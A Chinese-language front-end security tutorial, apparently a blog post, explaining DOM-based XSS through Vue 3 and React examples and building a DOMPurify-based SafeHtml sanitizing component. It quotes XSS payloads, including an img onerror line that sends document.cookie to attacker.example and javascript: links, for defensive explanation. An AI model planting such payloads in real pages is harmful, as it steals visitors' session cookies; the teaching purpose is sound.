
在面试里但只要聊到安全问题DOM 型 XSS基本是绕不过去的一道坎。我最早在哪一年吃了大亏呢刚工作第二年负责一个后台管理系统的列表页搜索关键词高亮功能用了innerHTML结果被测试同学贴了个img srcx onerroralert(document.cookie)打进来浏览器直接弹窗。那次事故让我意识到前端代码本身就是攻击面后端怎么过滤都拦不住发生在 DOM 操作这一层的执行。这篇内容我打算用两个主流框架Vue 3、React的真实案例把 DOM 型 XSS 的触发点、攻击路径、防御姿势完整讲一遍再手写一个可复用的过滤组件从需求设计到代码落地都摊开说。适合谁看正在准备前端面试的、想把安全技能变成简历加分项的、以及平时用 Vue/React 写业务但没认真想过富文本渲染风险的同学。看完你能带走的不只是面试话术还有一组立刻能跑起来的防御代码。1. 先说清楚DOM 型 XSS 到底是什么为什么面试官爱问1.1 一个让我印象深刻的线上事故那次事故的代码逻辑其实很简单用户在输入框里输入关键词前端拿到值以后拼了一段 HTML再通过innerHTML塞进页面里去高亮匹配到的文字。const keyword new URLSearchParams(window.location.search).get(k); const content renderContent(); document.getElementById(list).innerHTML content.replace(keyword, mark${keyword}/mark);这样写问题非常大。假设 URL 里是?k/markimg srcx onerroralert(document.cookie)那么拼出来的 HTML 就变成了content.replace(...)之前的正常内容加上一个img标签onerror里的脚本直接在当前页面上下文执行。这里的核心问题在于攻击载荷根本不需要经过服务器是纯前端拿 URL 参数然后手动写到 DOM 里造成的所以后端哪怕做了转义和过滤也完全看不见、管不着。我从这次事故里学到的最重要经验就是只要代码里出现innerHTML、outerHTML、document.write、insertAdjacentHTML这类接口就必须默认用户输入是恶意的先做净化再去渲染没有例外。1.2 DOM 型 XSS 和其他 XSS 的本质区别传统 XSS 分为反射型和存储型它们的共同特点是攻击载荷先从浏览器发送到服务器服务器再把它带回来最终在浏览器里执行。这给了后端一个过滤机会很多团队习惯在后端统一做转义觉得这样就安全了。DOM 型 XSS 完全不同攻击载荷不经过服务器中转而是直接在浏览器端被document.URL、location.search、localStorage、postMessage、window.name等输入源获取然后被innerHTML、eval、document.write这类敏感执行点消费。整个过程完全发生在客户端服务器日志里连一点痕迹都找不到。举个例子反射型 XSS 是“你把脏东西递给我我再送给你”DOM 型 XSS 是“你自己抽屉里存了脏东西某天你自己掏出来用了”。前者在物流动线上有安检后者纯粹是内部仓库管理出了问题。1.3 为什么是“前端防御”而不是“后端修一下就好”很多刚转前端不久的同学有个误区觉得防御 XSS 是后端的事前端只是展示页面。这个想法放到十年前可能还能说得过去现在已经不成立了。原因很简单后端能处理的是 URL 参数、请求体、响应头这些结构化的输入输出但它无法感知前端什么时候会把一段数据通过innerHTML写进 DOM、什么时候会用eval去执行一段字符串。而且现在前端项目大量使用第三方组件、SDK、可视化管理后台数据来源非常多——路由参数、iframe 的 postMessage、localStorage、web worker 传回来的数据、甚至是操作剪贴板读到的内容。这些来源的数据都没过过后端如果前端自己不设防那漏洞就可以说是敞开的。所以在面试里能够条理清晰地说清“DOM 型 XSS 的猎杀路径source → sink”“前端为什么必须自行防御”“防御的层次是什么”这几点的人确实比只会背 XSS 分类的人稀缺得多。这套东西就是实打实的加分项。2. 整体设计思路为什么选 Vue 3、React 和过滤组件这三个角度2.1 为什么框架案例选 Vue 3 和 React选择这两个框架来做防御案例首先是因为它们占据了当前前端岗位的大头面试官认可度最高。另外从 XSS 防御的角度看Vue 和 React 的处理策略其实很不一样是一种很好的对比。Vue 3 默认情况下{{ }}插值里的数据会被自动转义成纯文本所以你在模板里写div{{ userText }}/div即使userText是一段scriptalert(1)/script它也只是被显示成字符串不会执行。真正的风险点是v-html指令它会把字符串当成真实 HTML 渲染一旦数据里有标签和事件属性就直接执行了。React 的逻辑类似JSX 在渲染时会对表达式内容做字符串化转义div{userText}/div是安全的但dangerouslySetInnerHTML这个 API 的名字就已经在警告你了它会把 HTML 字符串直接注入 DOM不做任何处理。所以两个框架案例放在一起讲非常有价值一方面搞清楚两套默认机制为什么能防住大部分常规 XSS另一方面也暴露它们的共同薄弱点——只要使用“信任 HTML 字符串”的接口就必须额外叠加净化层。2.2 过滤组件的定位最后一道防线框架本身的自动转义解决的是“文本内容”的问题但业务里会有大量“富文本内容”的场景公告详情、用户协议、评论回复、富文本编辑器产出的内容这些都是必须保留 HTML 结构才能正常展示的。这种情况下不能简单转义成纯文本但又不能让任意标签和事件属性直接进来。这时候就需要一个过滤组件兜底。我的设计思路是白名单为主只放行预设的安全标签和属性其他一律剔除协议严格约束javascript:、data:等危险协议直接过滤href只允许http、https、mailto这类安全协议接口的输入校验和渲染时的过滤双管齐下组件内部做强校验逻辑不管数据经过了多少层传递渲染前先过一遍净化器可配置化内置默认安全配置同时允许上层项目按需扩展标签或属性。这个组件负责的是“最后一道防线”的角色。前面可以做很多事比如用户输入时长度限制、内容审核、服务端过滤但最终到浏览器 DOM 渲染之前前端必须有这一层把关。2.3 这套组合在简历上应该怎么呈现面试官问“你有没有做过安全相关的工作”时如果你只回答“我了解 XSS知道要过滤”那是没有任何说服力的。但如果你能说“我在项目里封装了一个基于 DOMPurify 的安全过滤组件内置白名单和协议校验统一替换了业务里的 v-html 和 dangerouslySetInnerHTML 调用并且覆盖了 Vue 3 和 React 两个项目”……这个含金量就完全不一样了。放简历上的写法我建议是这样的项目名称前端安全防御体系落地负责模块封装统一 HTML 净化组件、梳理全站危险渲染点、制定渲染安全规范技术实现基于 DOMPurify 二次封装配置白名单标签与安全协议支持自定义扩展在 Vue 3 中封装SafeHtml组件在 React 中封装SafeHtml组件透明替换原有v-html和dangerouslySetInnerHTML项目收益全站高危渲染点清零安全测试通过率提升并沉淀为前端团队安全编码规范3. Vue 3 框架案例v-html 的暗面与可控渲染3.1 先复现一个 Vue 3 环境下的 DOM 型 XSS我们假设一个典型业务场景商品详情页的“用户评价”模块后端把评价内容以 HTML 片段的形式返回因为要支持用户输入表情、换行、超链接等富文本能力。前端拿到数据后直接用v-html渲染。template div classreview v-htmlreview.content/div /template script setup const props defineProps({ review: { type: Object, required: true } }); /script这个写法就存在典型的 DOM 型 XSS 风险。攻击者可以在评价内容里加入这样一段img srcx onerrorfetch(//attacker.example/collect?cookie document.cookie)当其他用户打开这个商品详情页时v-html会把这段 HTML 完整渲染img加载失败触发onerror脚本就从攻击者的服务器发起了请求把当前用户的 Cookie 等敏感信息带走了。而且这个攻击路径很隐蔽数据经过后端存储再被拿出来展示很容易被误认为是存储型 XSS但根源其实在于前端无差别渲染不可信 HTML。后端存储只是载体真正让它执行的是前端的v-html指令。3.2 防御改造一善用 Vue 3 的自动转义机制第一步要做的是把所有非必要使用v-html的地方全部改成普通插值或者纯文本绑定。Vue 3 的模板引擎会把插值中的内容当作纯文本处理任何 HTML 标签都会被转义成实体字符不会产生 DOM 解析。template !-- 普通文本内容直接插值即可Vue 自动转义 -- div classreview-text{{ review.content }}/div /template这个改动适用于不需要保留 HTML 结构的场景。很多业务里用v-html其实只是为了渲染换行符\n完全可以用white-space: pre-wrap这个 CSS 属性来解决根本不需要引入 HTML 解析器。我踩过这个坑之前有个需求是展示日志内容日志里有大量换行和空格。当时第一反应就是用v-html把\n替换成br结果日志里偶尔会出现用户上传的文件名里面带着script标签直接被渲染执行了。后来改成div stylewhite-space: pre-wrap{{ log }}/div视觉效果完全一致风险直接清零。3.3 防御改造二白名单过滤后再渲染如果业务上确实需要渲染富文本比如用户评价里要支持加粗、超链接、列表这些格式那就必须对内容做白名单过滤而不是盲目信任任何 HTML。这里我把过滤逻辑封装成了通用的sanitizeHtml工具函数后面第 5 部分会展开讲完整实现。这里先看它在 Vue 3 里的用法template div classreview v-htmlsafeReviewContent/div /template script setup import { computed } from vue; import { sanitizeHtml } from /utils/sanitize; const props defineProps({ review: { type: Object, required: true } }); const safeReviewContent computed(() { return sanitizeHtml(props.review.content, { allowedTags: [p, br, strong, em, a, ul, ol, li], allowedAttributes: { a: [href, title, target] }, allowedSchemes: [http, https, mailto] }); }); /script这段代码的核心逻辑是渲染之前先用computed对原始内容做一次净化计算净化后的结果才交给v-html。配置项里的allowedTags定了只能出现哪些标签allowedAttributes定了每个标签上只保留哪些属性allowedSchemes限制了链接协议只能是 http、https 或 mailto。一个容易被忽略的细节target_blank这个属性本身不危险但最好配合relnoopener noreferrer不让新页面通过window.opener反向控制原页面。这个可以由过滤组件在净化的过程中自动补上让调用方无感知。4. React 框架案例dangerouslySetInnerHTML 的规范化使用4.1 React 其实同样需要手动防御很多人以为 React 天然安全毕竟 JSX 会自动转义。这个结论只对了一半。React 在绝大多数场景下确实是安全的比如用户传进来一个script字符串你通过div{userInput}/div渲染React 会把它转义成lt;scriptgt;浏览器只会当成文本显示不会执行。这套防御机制在框架层面做得很好。但 React 留了一个口子dangerouslySetInnerHTML。只要开发者在代码里写了这个属性就等于亲口对 React 说“这段 HTML 我已经验证过了你放心渲染”于是 React 放弃了所有转义工作直接把字符串通过innerHTML注入 DOM。如果这个字符串里有恶意标签那就是干净的 XSS。我在一个 React 项目里见过这样的代码富文本编辑器的内容区域直接用dangerouslySetInnerHTML展示渲染后的 HTML。编辑器产出的 HTML 里嵌套了非常多自定义样式和标签服务端基本不做校验等于把 DOM 渲染大权完完全全交给了编辑器使用者。普通用户不会构造攻击载荷但只要有一个人构造了恶意内容所有看这段内容的人都中招。4.2 封装一个带净化能力的富文本组件在 React 项目里我的做法是封装一个统一的SafeHtml组件把净化和渲染逻辑收敛到一处不让业务代码直接碰dangerouslySetInnerHTML。import { sanitizeHtml } from /utils/sanitize; function SafeHtml({ html, options, as: Tag div, ...rest }) { const safeHtml useMemo(() { return sanitizeHtml(html, options); }, [html, options]); return Tag dangerouslySetInnerHTML{{ __html: safeHtml }} {...rest} /; } export default SafeHtml;这个组件用useMemo缓存净化结果避免每次渲染都重新解析一遍 HTML对性能的影响降到最低。业务侧的使用方式极其简单// 推荐方案统一走 SafeHtml 组件 SafeHtml html{review.content} options{{ allowedTags: [p, br, strong, em, a, ul, ol, li], allowedAttributes: { a: [href, title, target, rel] } }} /这样一个业务组件就和其他普通组件没有任何区别但它内部默默承担了所有 HTML 净化逻辑。哪怕以后要升级净化规则也只需要改动SafeHtml一个文件而不用满项目去找dangerouslySetInnerHTML。说实话“禁止业务代码直接使用dangerouslySetInnerHTML、统一走SafeHtml组件”这条规范放到团队里比写十页安全文档都管用。因为开发者在写新功能时记不住那么多安全规范但 lint 规则一旦配上不符合规范的代码在提交阶段就红了。4.3 针对场景的额外处理事件属性过滤与链接协议校验聊完组件骨架再补充两个 React 场景下特别容易踩的深坑。第一个坑是事件属性。攻击载荷经常会写成这样p onclickalert(1)点我/p或者input onfocusalert(1) autofocus。做净化的时候on*开头的事件属性必须被纳入黑名单不能出现在allowedAttributes白名单里。DOMPurify 这类库的默认配置已经处理了这个问题但如果你是基于字符串替换的自制过滤器就一定要防范事件属性绕过。第二个坑是链接协议。正常用户可能会在内容里写a hrefhttps://example.com链接/a攻击者则会写a hrefjavascript:alert(1)链接/a。如果不校验href的协议点击链接就能触发脚本执行。净化的配置里allowedSchemes只允许 http、https、mailtojavascript:、data:、vbscript:这些协议全部剔除。这两个点我建议在面试时主动提出来因为它能证明你不是“背了一遍 API”而是真的思考过攻击者会从哪里绕过防御。我曾经在一次技术评审里提出“所有href属性必须通过协议白名单校验”有个后端同事追问“如果我传了一个相对路径链接呢”我补了配置允许多一个relative类型的协议。这种细节沟通很能体现工程能力。5. 自研过滤组件从需求分析到落地实现5.1 为什么不自研完整的 HTML 解析器很多前端工程师第一次接触 XSS 防御时都会想到一个方案直接用正则匹配掉script标签就行了。这个思路方向是对的但实现上不能走这条路。原因在于HTML 的解析规则非常复杂。浏览器在解析script、img、svg这些标签时有大量容错机制和奇怪的边界行为。比如img srcx onerroralert(1)如果把字符串里的onerroralert(1)用正则替换掉攻击者可以把 payload 写成IMG SRCx onerroralert(1)标签属性名大小写混用或者属性值里加入 HTML 实体编码、 Unicode 转义一套正则在复杂混合大小写、实体编码等多重编码情况下会出现各种漏网之鱼。构造一个健壮的正则几乎不可能等价于浏览器解析器。所以自研清洗组件的正确策略是不自己写 HTML 解析器而是基于成熟的 DOMPurify 这类库做二次封装。DOMPurify 内部依赖浏览器真实的 DOMParser 解析能识别出浏览器真正会执行的节点和属性然后把不匹配白名单的内容删除。这是大多数前端项目里最务实的方案。5.2 基于 DOMPurify 封装一个可配置的 sanitize 工具我实际项目里的sanitize工具大概长这样import DOMPurify from dompurify; const DEFAULTS { allowedTags: [ p, br, strong, b, em, i, u, a, ul, ol, li, blockquote, code, pre, span, div, h1, h2, h3, h4, h5, h6 ], allowedAttributes: { a: [href, title, target], span: [class], code: [class] }, allowedSchemes: [http, https, mailto], ADD_ATTR: [target] }; export function sanitizeHtml(dirtyHtml, userOptions {}) { const options { ALLOWED_TAGS: userOptions.allowedTags || DEFAULTS.allowedTags, ALLOWED_ATTR: collectAllowedAttributes(userOptions.allowedAttributes || DEFAULTS.allowedAttributes), ALLOWED_URI_REGEXP: buildUriRegexp(userOptions.allowedSchemes || DEFAULTS.allowedSchemes), ADD_ATTR: [...DEFAULTS.ADD_ATTR, ...(userOptions.addAttr || [])] }; return DOMPurify.sanitize(dirtyHtml, options); } function collectAllowedAttributes(attrMap) { const attrSet new Set(); Object.values(attrMap).forEach((attrs) { attrs.forEach((attr) attrSet.add(attr)); }); return Array.from(attrSet); } function buildUriRegexp(schemes) { const schemePattern schemes.join(|); return new RegExp(^(?:(?:${schemePattern}):|[^a-z]|[a-z.-](?:[^a-z.-:]|$)), i); }这段代码里有几个值得留意的设计点。ALLOWED_ATTR的收集方式我没有直接把allowedAttributes对象传进去而是把它拍平成一个字符串数组。因为 DOMPurify 的ALLOWED_ATTR是一个全局属性名列表不像 HTML 规范那样区分“哪个标签允许哪个属性”。所以实际配置里a标签的href、span标签的class都会汇总到同一个数组里。这样会带来一些副作用比如某个标签允许class其他所有标签也能用class但实际影响不大因为class本身不产生脚本执行风险而且按需收敛已经足够。buildUriRegexp生成的协议校验正则这里要处理的是href、src等 URI 属性的协议限制。http|https|mailto之外如果你误配置了javascript等危险协议正则也会放行所以配置项要严格。默认配置里没有data协议是有意为之因为data:text/html的 payload 可以直接执行脚本。最后ADD_ATTR: [target]是我故意加的一个属性让合法的外链可以新窗口打开配合relnoopener noreferrer一起使用。这个属性由安全组件自动补全业务侧不需要关心。5.3 扩展组件内使用与全局配置初始化有了sanitizeHtml工具之后再配合框架组件使用就非常顺滑了。Vue 3 侧我把组件也封装好了!-- components/SafeHtml.vue -- template component :istag v-htmlsafeHtml/component /template script setup import { computed } from vue; import { sanitizeHtml } from /utils/sanitize; const props defineProps({ html: { type: String, default: }, tag: { type: String, default: div }, options: { type: Object, default: () ({}) } }); const safeHtml computed(() sanitizeHtml(props.html, props.options)); /scriptReact 侧我前面已经在第 4.2 节展示过SafeHtml组件的写法。两边组件的 API 完全对齐业务代码在 Vue 和 React 项目之间迁移时几乎不用改调用方式。如果你的项目里有很多页面都需要配置同一套白名单规则也可以做一个全局初始化避免每次调用时重复传配置import DOMPurify from dompurify; DOMPurify.addHook(afterSanitizeAttributes, (node) { if (node.tagName A node.getAttribute(target) _blank) { node.setAttribute(rel, noopener noreferrer); } });这个addHook注册的钩子在每次净化完成后执行我在这里统一给站外链接补上rel属性。用钩子的好处是你只要在应用入口初始化一次所有调用 DOMPurify 的地方都会自动生效不用在每个配置文件里重复写。5.4 设计过程中的几个关键考量把组件真正落到项目里之前有几个取舍值得拿出来聊聊。第一个考量是“白名单能多窄就多窄”。很多人会把style属性加进白名单觉得内联样式很常用不给会破坏页面效果。但style属性理论上可以通过 CSS 表达式等方式做攻击虽然现代浏览器限制越来越多但安全边界上没必要冒这个险。我的做法是默认去掉style如果业务确需样式再按页面维度单独放开并且只支持特定的样式属性白名单。第二个考量是性能损耗的合理控制。DOMPurify 会在每次调用时用 DOMParser 把 HTML 字符串解析成 DOM 树再递归遍历节点做过滤最后序列化成字符串。一次净化操作的成本通常在亚毫秒级但如果一个页面里有几百个富文本内容同时渲染还是要注意。我的做法是在数据层做一次净化缓存同一段 HTML 在不同模块里重复使用时不重复解析。第三个考量是过滤组件必须可测试。我在项目里给sanitizeHtml写了十几条单元测试用例覆盖script标签、onerror事件属性、javascript:协议、大小写混合、HTML 实体编码绕过等。有了这层自动化测试团队后续升级规则、扩展白名单时才敢放心改。这也是简历里可以写的一笔“沉淀安全组件测试用例 20覆盖常见 XSS payload”。6. 高频问题排查与面试对答实录6.1 常见问题速查表我整理了一张排查速查表大家在实际项目和面试前都可以参考场景/症状可能原因排查思路与修复方案表单提交后页面渲染异常输入内容被当成 HTML 解析标签被 DOM 树结构打乱检查是否用了v-html或dangerouslySetInnerHTML改成纯文本插值再不行走净化富文本内容里的 script 标签被过滤了这是过滤组件的正常行为不是 bug确认业务是否真的需要 script富文本一律不允许出现 script链接点击跳转到了异常地址href属性被攻击者注入危险协议检查协议白名单不允许javascript:、data:text/html弹窗只出现在自己电脑上测试环境没事可能是本地存储的 payload 或 iframe 的 postMessage 引起检查localStorage、sessionStorage、window.name、postMessage数据源是否直接进了 DOM 操作净化之后样式全丢了白名单里没有放行style和class按业务按需扩展白名单建议使用语义化标签而不是内联样式6.2 面试官深挖时的应对思路如果面试官沿着“DOM 型 XSS”继续深挖一般会有这几类追问我总结一下应对思路。追问一说说 source 和 sink 分别有哪些这个问题考察的是你是否真正理解数据从哪来、到哪去。source 至少要说全location对象location.href、location.search、location.hash、document.URL、document.referrer、window.name、localStorage、sessionStorage、postMessage事件的event.data、document.cookie等。sink 要提的包括innerHTML、outerHTML、insertAdjacentHTML、document.write、eval、Function、setTimeout/setInterval的字符串形式、window.open等。追问二为什么后端转义挡不住 DOM 型 XSS这个问题的核心是“数据没有经过后端”。比如攻击者直接修改 URL hash 或者通过postMessage传数据给页面后端服务器完全感知不到这次数据交换。防御的落脚点必须在浏览器端代码里。追问三CSP 能不能替代过滤组件CSP内容安全策略可以作为纵深防御的一环它通过响应头限制页面可以加载和执行的资源来源。合理配置的script-src可以挡住大部分注入的脚本。但它不能替代输出净化CSP 是粗粒度的策略一旦配置过宽就容易失效而且把安全寄托在部署环境的响应头配置上不够可靠。前端项目里两层都要做外层 CSP 兜底内层过滤组件负责精确清理 HTML。追问四你封装的组件有没有考虑性能这部分我前面提到过useMemo缓存净化结果、数据层净化缓存、避免每个组件都重复解析同一段 HTML。面试里把这两个优化点说清楚比背调优框架源码更能打动对方。6.3 更多避坑技巧关于这套防御体系有几个细节我是在多个项目里反复踩过后才总结出来的。路由参数在组件里取值时要保持警惕。useSearchParams或route.query拿到的值虽然经过了框架序列化但本质上还是用户可控的字符串不能直接塞进innerHTML。有个隐性坑是有些人会在列表页把搜索关键词用v-html高亮数据来自路由 query攻击者只需要分享一个带恶意 payload 的链接受害者点击后就中招。前端工程化里配置 eslint 规则。我强烈建议在项目里开启react/no-danger这条规则Vue 生态对应的是vue/no-v-html强制所有dangerouslySetInnerHTML/v-html的使用都必须经过代码评审。规则开启后即使是无意的调用也会在 CI 阶段直接报错根本走不到测试环境。监控线上问题要留意 CORS 报错的关联性。如果某个浏览器看页面时出现奇怪的跨域请求报错有可能是有脚本被注入了脚本在偷偷向外部发请求。前端项目接好错误监控之后这类异常通常能第一时间暴露出来。一个实用小技巧收尾最后分享一个我在多个项目里反复验证的经验动手写防御代码之前先全局搜一遍代码仓库里的v-html、dangerouslySetInnerHTML、innerHTML、document.write把清单拉出来。这个清单就是你项目的安全风险地图每一项都要逐个确认数据的来源和去向。排查的过程花不了太久但对整个项目安全底数的提升是立竿见影的而且面试时一旦聊到这个细节对方会明显感受到你是真正做过安全治理的人而不是背了几道题就上场的选手。